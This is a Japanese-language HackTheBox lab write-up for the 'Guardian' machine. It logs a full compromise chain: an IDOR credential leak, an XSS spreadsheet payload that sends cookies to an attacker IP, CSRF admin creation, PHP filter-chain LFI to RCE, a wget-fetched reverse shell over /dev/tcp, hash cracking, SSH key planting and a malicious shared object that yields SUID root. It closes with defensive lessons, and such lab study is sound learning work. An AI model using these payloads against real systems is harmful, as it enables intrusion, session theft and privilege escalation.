HackTheBox: Guardian — 全実行コマンド・実行結果レポート
サブドメイン発見
portal.guardian.htb
→
portal.guardian.htb
デフォルトパスワード
GU1234
→
GU1234
チャットIDOR
Gitea資格情報漏洩
→
Gitea資格情報漏洩
PhpSpreadsheet XSS
講師Cookie窃取
→
講師Cookie窃取
CSRF (onload属性)
不正admin作成
→
不正admin作成
PHPフィルターチェーン
LFI→RCE
→
LFI→RCE
user.txt ✓
jamil (hashcat)
→
jamil (hashcat)
utilities.py悪用
mark昇格
→
mark昇格
root.txt ✓
LoadFileバイパス
LoadFileバイパス
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & サブドメイン発見
BASH
nmap -p- --min-rate 10000 10.129.237.248 nmap -p 22,80 -sCV 10.129.237.248
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://guardian.htb/
BASH
echo "10.129.237.248 guardian.htb" >> /etc/hosts ffuf -u http://10.129.237.248 -H "Host: FUZZ.guardian.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
RESULT
portal [Status: 302, Size: 0, Words: 1, Lines: 1]
BASH
echo "10.129.237.248 guardian.htb portal.guardian.htb" >> /etc/hosts
ℹ️
guardian.htb は大学の静的サイト、portal.guardian.htb はPHP製の
学生ポータル(ログイン機能あり)。
PHASE 2
Student Portal — デフォルトパスワードでログイン
学生IDの収集
BASH
curl -s http://guardian.htb/ | grep -oE "GU[0-9]{7}@guardian\.htb"
RESULT
GU0142023@guardian.htb GU6262023@guardian.htb GU0702025@guardian.htb
ℹ️
トップページの「学生の声」セクションから、
GUxxxxxxx形式(3桁連番+4桁年)の
学生IDを3件収集。
ヘルプガイドPDFからデフォルトパスワード発見
NOTE
ログインページの「Help」リンクから /static/downloads/Guardian_University_Student_Portal_Guide.pdf を取得。このガイドに記載されたデフォルトパスワードは "GU1234"。
BASH
curl -s -c cookies.txt -d "username=GU0142023&password=GU1234" \
http://portal.guardian.htb/login.php -L -o /dev/null -w "%{http_code}\n"
curl -s -b cookies.txt http://portal.guardian.htb/student/home.php | grep -o "Student Dashboard"
RESULT
200
Student Dashboard
✅
GU0142023:GU1234 でログイン成功。この学生はデフォルトパスワードを
変更していなかった。
PHASE 3
チャットIDOR — Gitea資格情報漏洩
IDORの原理
NOTE
/student/chat.php?chat_users[0]=A&chat_users[1]=B は、サーバー側で A・Bが「自分自身かどうか」を一切検証せず、指定した2者間の会話を そのまま表示する。管理者(admin, user_id=1)から他ユーザーへのDMを 総当たりで覗き見できる。
PYTHON (総当たりスキャン)
for a in range(0, 6): # adminは user_id=1 と判明済み、念のため0-5を確認
for b in range(1, 63): # 学生ID総数は62人分
if a == b: continue
r = session.get("http://portal.guardian.htb/student/chat.php",
params={"chat_users[0]": a, "chat_users[1]": b})
if "password for gitea" in r.text.lower():
print("FOUND:", a, b)
⚠️
相手側IDは 1〜62の全域 を確認する必要がある。中途半端な範囲
(例: 0〜39)しか確認しないと、該当の会話(今回は id=2)を取りこぼすことがある。
admin → jamil.enockson のGitea資格情報漏洩を発見
BASH
curl -s -b cookies.txt \ "http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2"
RESULT
admin: Hello! How are you doing today? admin: Here is your password for gitea: DHsNnk3V503 jamil.enockson: I am doing great, thanks.
🚨
重大な情報漏洩: admin(user_id=1)が jamil.enockson(user_id=2)へ
Giteaのパスワードを平文でDM送信している。チャットバブルの送信者ラベルは
DBの
username カラムの値そのもの(“jamil”ではなく
“jamil.enockson”)であることに注意。この値をそのまま
Giteaへのログインに使う(jamil.enockson@guardian.htbという
メールアドレス形式でログイン可能)。
漏洩した資格情報
jamil.enockson@guardian.htb : DHsNnk3V503
PHASE 4
Gitea ソースコード取得 & PhpSpreadsheet XSS で講師セッション窃取
Gitea からソースコード取得
BASH
# メールアドレス中の "@" は URL エンコード (%40) が必須 git clone "http://jamil.enockson%40guardian.htb:DHsNnk3V503@gitea.guardian.htb/Guardian/portal.guardian.htb.git"
ℹ️
リポジトリは jamil 個人の名前空間ではなく “Guardian” 組織 配下にある
(
Guardian/portal.guardian.htb.git)。
BASH
cat composer.lock | grep -A2 phpoffice
RESULT
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
🚨
PhpSpreadsheet 3.7.0 は CVE-2025-22131
(XLSXパース時のXSS) の既知脆弱性を持つ。
講師プレビュー機能のソース確認
NOTE (lecturer/view-submission.php)
$spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$writer = new Html($spreadsheet);
$writer->writeAllSheets();
echo $writer->generateHTMLAll();
ℹ️
講師が学生の提出課題(.xlsx)をプレビューすると、シート名がエスケープされずに
そのままHTML出力される。シート名にXSSペイロードを仕込めば講師の閲覧時に発火する。
提出可能な課題を特定し、XSS付きxlsxを提出
NOTE (Giteaソース student/submission.php より)
提出エンドポイントは /student/submission.php?assignment_id=<id> (POST)。 multipartフィールド名は attachment(ファイル) / submission_title / assignment_id。 期限超過の課題は提出がブロックされるため、"Upcoming"(期限内)の課題IDを 動的に特定する必要がある(今回は assignment_id=15「Statistics in Business」)。
PYTHON (XSS付きxlsx生成 — openpyxl)
from openpyxl import Workbook
from base64 import b64encode
payload_js = "fetch('http://10.10.15.200:80/c?c='+document.cookie)"
b64 = b64encode(payload_js.encode()).decode()
xss_payload = f"\"><img src=x onerror=eval(atob('{b64}')) >"
wb = Workbook()
wb.active.title = "Sheet 1"
wb.create_sheet(title=xss_payload) # シート名にXSSペイロードを設定
wb.save("evil.xlsx")
BASH
curl -s -b cookies.txt \ -F "submission_title=Statistics Assignment" \ -F "assignment_id=15" \ -F "attachment=@evil.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" \ "http://portal.guardian.htb/student/submission.php?assignment_id=15"
BASH
# Cookie窃取用リスナー (80番ポート) python3 -m http.server 80
講師の自動レビューbotがXSSを発火
RESULT (約30分後)
10.129.237.248 - - [13/Oct/2026 ...] "GET /c?c=PHPSESSID=bgom16ome8sr2fmdultg6hk8l3 HTTP/1.1" 200 -
⚠️
重要な実測値: 講師の提出物レビュー自動化(ヘッドレスブラウザによる
巡回bot)のポーリング間隔は非常に長く、実測で約30分かかった。
短いタイムアウトで諦めず、気長に待つこと(Cookieは
httpOnlyが
付与されていないためdocument.cookie経由で窃取可能)。
BASH
# 窃取したPHPSESSIDを自分のセッションにセットするだけで講師セッションを乗っ取れる curl -s -b "PHPSESSID=bgom16ome8sr2fmdultg6hk8l3" http://portal.guardian.htb/lecturer/index.php | grep -o "Dashboard"
RESULT
Dashboard
✅
講師(sammy.treat)セッションの乗っ取りに成功。
PHASE 5
弱いCSRFトークン実装を悪用した不正管理者アカウント作成
グローバルCSRFトークンプールの欠陥
NOTE (config/csrf-tokens.php)
function add_token_to_pool($token) {
$tokens = get_token_pool();
$tokens[] = $token;
file_put_contents($global_tokens_file, json_encode($tokens));
}
function is_valid_token($token) {
$tokens = get_token_pool();
return in_array($token, $tokens); // ← セッションに紐付いていない!
}
🚨
CSRFトークンは「誰が」「いつ」発行したかに関わらず、一度発行されたら
永久に有効なグローバルプールに追加されるだけ。講師権限で取得した
トークンを、本来講師には使えないはずの
admin/createuser.php
(管理者作成)へそのまま転用できる。
BASH
curl -s -b "PHPSESSID=bgom16ome8sr2fmdultg6hk8l3" \ http://portal.guardian.htb/lecturer/notices/create.php | \ grep -oE 'name="csrf_token" value="[a-f0-9]+"'
RESULT
name="csrf_token" value="fdebeb8635694cde7905e4040c3869ee"
Admin巡回ボットへCSRF攻撃 — 最大の落とし穴: <script>は実行されない
NOTE
講師が作成したNotice(お知らせ)の reference_link は、Adminが承認審査のため
自動的に訪問する。その訪問者(巡回bot)のブラウザコンテキストで任意のページを
レンダリングさせられるため、クロスオリジンの自動送信フォームを使って
admin/createuser.php へCSRF攻撃を仕掛けられる。
診断の結果判明した重要な事実:
- <img src="..."> のような静的リソースは読み込まれる(= HTMLレンダリングは行われる)
- <script>fetch(...)</script> は一切実行されない(診断用ビーコンが届かない)
- <body onload="..."> や <img onerror="..."> のようなインライン
イベントハンドラ属性は確実に実行される(診断用ビーコンが届く)
→ この巡回botは「HTMLはレンダリングするが<script>ブロックは実行しない」
簡易サンドボックス/プレビュー機構であり、<script>で自動送信するフォームでは
絶対にCSRFが発火しない。これに気づかず <script>document.forms[0].submit()</script>
方式を使い続けると、何十分待ってもアカウントが作成されず原因不明のまま詰まる。
NOTE (CSRFペイロードHTML — 正しい実装)
<html>
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="eviladmin" />
<input type="hidden" name="password" value="pass1234" />
<input type="hidden" name="full_name" value="Evil Admin" />
<input type="hidden" name="email" value="evil@evil.com" />
<input type="hidden" name="dob" value="1990-01-01" />
<input type="hidden" name="address" value="123 Hack Street" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="fdebeb8635694cde7905e4040c3869ee"/>
</form>
</body>
</html>
⚠️
<script> タグではなく <body onload="...">
属性でフォーム送信をトリガーすること。
Noticeを作成してAdminの訪問を誘発
BASH
# CSRFペイロードを配信するHTTPサーバーを起動 python3 -m http.server 8000 # 講師セッションでNoticeを作成 (フィールド名は title/content/reference_link/csrf_token) curl -s -b "PHPSESSID=bgom16ome8sr2fmdultg6hk8l3" \ -d "title=Test&content=Test&reference_link=http://10.10.15.200:8000/csrf.html&csrf_token=fdebeb8635694cde7905e4040c3869ee" \ http://portal.guardian.htb/lecturer/notices/create.php
RESULT (HTTPサーバーログ)
10.129.237.248 - - [...] "GET /csrf.html HTTP/1.1" 200 - ← 15秒後
ℹ️
講師レビューbot(約30分間隔)と対照的に、Admin巡回botは非常に高速
(実測15〜40秒) でNoticeのreference_linkを訪問する。
BASH
curl -s -d "username=eviladmin&password=pass1234" -c admin_cookies.txt \ http://portal.guardian.htb/login.php curl -s -b admin_cookies.txt http://portal.guardian.htb/admin/index.php | grep -o "Admin Dashboard"
RESULT
Admin Dashboard
✅
不正管理者アカウント eviladmin:pass1234 の作成に成功。
PHASE 6
PHPフィルターチェーン注入による LFI → RCE
LFIの発見
NOTE (admin/reports.php)
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("Malicious request blocked");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("Access denied. Invalid file");
}
include($report);
🚨
ホワイトリストは末尾一致のみ検証する正規表現。
..は
ブロックされるが、php://filter/.../resource=reports/enrollment.php
のように末尾さえ条件を満たせば通過してしまう。
php_filter_chain_generator でチェーン構築
BASH
git clone https://github.com/synacktiv/php_filter_chain_generator python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
RESULT (抜粋)
php://filter/convert.iconv.UTF8.CSISO2022KR|...(大量のconvert.iconvチェーン)...
|convert.base64-decode/resource=php://temp
NOTE
末尾の "resource=php://temp" を "resource=reports/enrollment.php" に 置換することで、ホワイトリスト正規表現(末尾一致)を満たしつつ このチェーン全体を include() させられる。
BASH
curl -s -b admin_cookies.txt \ "http://portal.guardian.htb/admin/reports.php?cmd=id&report=php://filter/...[チェーン].../resource=reports/enrollment.php"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
LFIがRCEに昇格。PHPフィルターチェーンの変換過程でコードが実際に
base64デコードされ
include() によって実行される仕組み
(LFI2RCE)。
リバースシェルの確立 (2段階方式)
NOTE
system()への引数に直接リバースシェルコマンドを埋め込むと、PHP文字列内に 二重引用符が衝突して構文エラーになりやすい。代わりに2段階に分ける: 1段階目: wget でシェルスクリプトを /tmp へダウンロード 2段階目: ダウンロードしたスクリプトを sh で実行
BASH
# 攻撃者ホスト側: リバースシェルスクリプトを配信
echo 'bash -c "bash -i >& /dev/tcp/10.10.15.200/4447 0>&1"' > shell
python3 -m http.server 8003 &
nc -lnvp 4447 &
# 1段階目: wgetでダウンロード
python3 php_filter_chain_generator.py --chain '<?php exec("wget 10.10.15.200:8003/shell -O /tmp/.s"); ?>'
curl -s -b admin_cookies.txt "http://portal.guardian.htb/admin/reports.php?report=php://filter/.../resource=reports/financial.php"
# 2段階目: 実行
python3 php_filter_chain_generator.py --chain '<?php exec("cat /tmp/.s | sh"); ?>'
curl -s -b admin_cookies.txt "http://portal.guardian.htb/admin/reports.php?report=php://filter/.../resource=reports/system.php"
RESULT (nc リスナー側)
listening on [any] 4447 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.237.248] 37238
www-data@guardian:~/portal.guardian.htb/admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHASE 7
DB資格情報抽出 & ハッシュクラックで user.txt
config.php からDB資格情報を取得
BASH
www-data@guardian:~/portal.guardian.htb/admin$ cat /var/www/*/config/config.php
RESULT
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
],
'salt' => '8Sb)tM1vs1SS'
];
jamil のパスワードハッシュをダンプしてクラック
BASH
mysql -h 127.0.0.1 -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb \ -e "select username,password_hash from users" | grep jamil
RESULT
jamil.enockson c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250
BASH
# createuser.php のソースより sha256($password . $salt) と判明 (hashcat mode 1410) echo 'c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS' > hash.txt hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
RESULT
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
SSH でログインし user.txt 取得
BASH
sshpass -p 'copperhouse56' ssh jamil@10.129.237.248 "id; cat /home/jamil/user.txt"
RESULT
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
99fe68e59ed81493f36ff43bcfce95a2
user.txt — jamil
99fe68e59ed81493f36ff43bcfce95a2
PHASE 8
utilities.py の権限チェック漏れで mark へ昇格
sudo権限とスクリプト構成の確認
BASH
jamil@guardian:~$ sudo -l jamil@guardian:~$ find /opt/scripts -type f -ls
RESULT
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
-rw-r----- root admins utils/attachments.py
-rw-r----- root admins utils/db.py
-rwxrwx--- mark admins utils/status.py ← mark所有、adminsグループ書込可
-rw-r----- root admins utils/logs.py
-rwxr-x--- root admins utilities.py
🚨
jamil は
admins グループに所属しており、mark 所有の
status.py を書き換えられる。utilities.py は
backup-db / zip-attachments / collect-logs
アクションでは呼び出しユーザーが”mark”かどうかを明示チェックするが、
system-status アクションだけはこのチェックが漏れている。
status.py を書き換えて mark への SSH 鍵を仕込む
BASH
jamil@guardian:~$ ssh-keygen -t ed25519 -N '' -f /tmp/gd_key -q jamil@guardian:~$ cat /tmp/gd_key.pub
PYTHON (status.py の上書き内容)
import platform, psutil, os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
os.makedirs("/home/mark/.ssh", mode=0o700, exist_ok=True)
with open("/home/mark/.ssh/authorized_keys", "a") as f:
f.write("\nssh-ed25519 AAAA...(自分の公開鍵)... jamil@guardian\n")
print("Wrote SSH key to /home/mark/.ssh/authorized_keys")
BASH
jamil@guardian:~$ sudo -u mark /opt/scripts/utilities/utilities.py system-status
RESULT
System: Linux 5.15.0-152-generic
CPU usage: 0.0 %
Memory usage: 31.5 %
Wrote SSH key to /home/mark/.ssh/authorized_keys
BASH
scp jamil@10.129.237.248:/tmp/gd_key ./gd_key chmod 600 gd_key ssh -i gd_key mark@10.129.237.248 "id"
RESULT
uid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)
✅
mark へのSSH昇格に成功。
PHASE 9
safeapache2ctl の LoadFile 検証漏れで root.txt
safeapache2ctl の検証ロジック(Ghidra逆コンパイル)
BASH
mark@guardian:~$ sudo -l
RESULT
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
NOTE (is_unsafe_line 関数の擬似コード)
sscanf(line, "%31s %1023s", directive, directive_arg);
if (directive == "Include" || directive == "IncludeOptional"
|| directive == "LoadModule") {
if (directive_arg[0] == '/') {
if (!starts_with(directive_arg, "/home/mark/confs/")) {
return UNSAFE; // ブロック
}
}
}
return SAFE; // ← 上記3つ以外の全ディレクティブは無条件で安全扱い
🚨
このラッパーは
Include / IncludeOptional /
LoadModule の3ディレクティブのみを(大文字小文字区別ありで)
検証する。LoadFile ディレクティブは検証対象に一切
含まれていないため、無条件で通過する。LoadFileは
Apache標準ディレクティブで、”APIモジュール構造体”を持たない任意の
共有オブジェクトでもロード可能(= コンストラクタ関数が確実に実行される)。
悪意ある共有オブジェクトの作成
BASH
mark@guardian:~$ mkdir -p /home/mark/confs
mark@guardian:~$ cat > /home/mark/confs/evil.c <<'EOF'
#include <stdlib.h>
__attribute__((constructor))
void pwn(void) {
system("cp /bin/bash /tmp/gd_root && chmod +s /tmp/gd_root");
}
EOF
mark@guardian:~$ gcc -shared -fPIC -o /home/mark/confs/evil.so /home/mark/confs/evil.c
BASH
mark@guardian:~$ cat > /home/mark/confs/pwn.conf <<'EOF' LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so LoadFile /home/mark/confs/evil.so EOF
ℹ️
LoadModule mpm_worker_module 行は、Apacheの設定構文チェック自体が
MPM(マルチプロセッシングモジュール)の初期化を要求するために必要
(これが無いと AH00534: apache2: Configuration error: No MPM loaded.
で早期に失敗し、後続の LoadFile まで到達しない)。
root.txt 取得
BASH
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/pwn.conf
RESULT
Action '-f /home/mark/confs/pwn.conf' failed.
The Apache error log may have more information.
mark@guardian:~$ ls -la /tmp/gd_root
-rwsr-sr-x 1 root root 1396520 /tmp/gd_root
✅
safeapache2ctl コマンド自体はApacheの設定不備(起動対象のモジュールが
1つも定義されていない)で最終的に失敗するが、そのエラーに至る前に
LoadFileによるdlopen()は既に実行されており、コンストラクタ関数が
発火している。結果、root所有・SUID付きの/tmp/gd_root
(= /bin/bashのコピー)が生成される。
BASH
mark@guardian:~$ /tmp/gd_root -p -c 'id; cat /root/root.txt'
RESULT
uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root) groups=0(root),1001(mark),1002(admins) 51162dd59a5fed24bacf1bc497777916
root.txt — root
51162dd59a5fed24bacf1bc497777916
ℹ️
-p オプション(bashの「特権モード保持」フラグ)を付けずに実行すると、
setuid/setgidビットが付いていてもbashが自動的に実効UID/GIDを実UIDへ
落とすため、root権限を維持するには明示的に-pが必要。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — jamil
99fe68e59ed81493f36ff43bcfce95a2
root.txt — root
51162dd59a5fed24bacf1bc497777916
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| IDOR | /student/chat.php | 他ユーザー間のDM盗み見 | Medium | chat_users[0]/[1]パラメータの所有者検証漏れでadmin↔jamil間のGitea資格情報を窃取 |
| CVE-2025-22131 | PhpSpreadsheet 3.7.0 | 講師セッションの窃取 (XSS) | High | xlsxのシート名に仕込んだペイロードがHTMLプレビューで無エスケープ出力されCookieを窃取 |
| グローバルCSRFトークンプール | config/csrf-tokens.php | 権限昇格 (不正admin作成) | High | セッションに紐付かないトークンプールを悪用し、講師権限で発行したトークンを管理者作成APIへ転用 |
| PHPフィルターチェーン注入 | admin/reports.php | リモートコード実行 (www-data) | Critical | 末尾一致のみのホワイトリストLFIをphp://filterチェーンでRCEへ昇格 |
| sudoラッパーの権限チェック漏れ | utilities.py (system-status) | 水平権限昇格 (jamil → mark) | High | 書込可能な依存モジュールを書き換えて呼び出しユーザー検証の無いアクション経由でコード実行 |
| ディレクティブ検証漏れ (LoadFile) | safeapache2ctl (sudoラッパー) | 垂直権限昇格 (mark → root) | Critical | 許可ディレクティブのホワイトリストに含まれない LoadFile で任意の共有オブジェクトをロードさせコンストラクタでroot化 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + ffufサブドメイン列挙 | portal.guardian.htb発見 |
| 2 | デフォルトPW | GU1234 + 学生IDメール収集 | GU0142023でログイン成功 |
| 3 | チャットIDOR | chat_users総当たり(1-62全域) | Gitea資格情報(jamil.enockson) |
| 4 | XSS | PhpSpreadsheet CVE-2025-22131 | 講師PHPSESSID(約30分待機) |
| 5 | CSRF | onload属性+グローバルトークン濫用 | 不正管理者アカウント |
| 6 | フィルターチェーン | php://filter LFI2RCE | www-dataシェル |
| 7 | クラック | DB資格情報+hashcat -m 1410 | user.txt(jamil) |
| 8 | 水平昇格 | utilities.py権限チェック漏れ | mark SSHアクセス |
| 9 | 垂直昇格 | safeapache2ctl LoadFile | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| チャット機能に会話相手の所有者検証が無い(IDOR) | 常にセッションの認証済みユーザーIDが会話の当事者の一方であることをサーバー側で検証する。 |
| サードパーティライブラリ(PhpSpreadsheet)の既知脆弱性を含むバージョンを使用 | 依存ライブラリのバージョンを定期的に監査し、セキュリティアドバイザリに追従してアップデートする。 |
| CSRFトークンがセッションに紐付かずグローバルプールで管理されている | トークンはセッションごとに発行・検証し、使用後は無効化(ワンタイム化)する。 |
| LFI対策のホワイトリストが末尾一致のみでpath検証が不十分 | ユーザー入力を直接 include() に渡さない。許可するファイル名を固定のマップ(ID→実パス)で管理する。 |
| sudoラッパーの権限チェックがアクションごとに実装され、一部で漏れが発生 | 権限チェックを一元化し、全アクション共通のデコレータ/ミドルウェアとして強制する。 |
| apache2ctlラッパーが一部ディレクティブ(LoadFile)を検証対象から見落としている | ブラックリスト/部分的ホワイトリストでなく、許可するディレクティブそのものを極小集合で厳密にホワイトリスト化する。 |

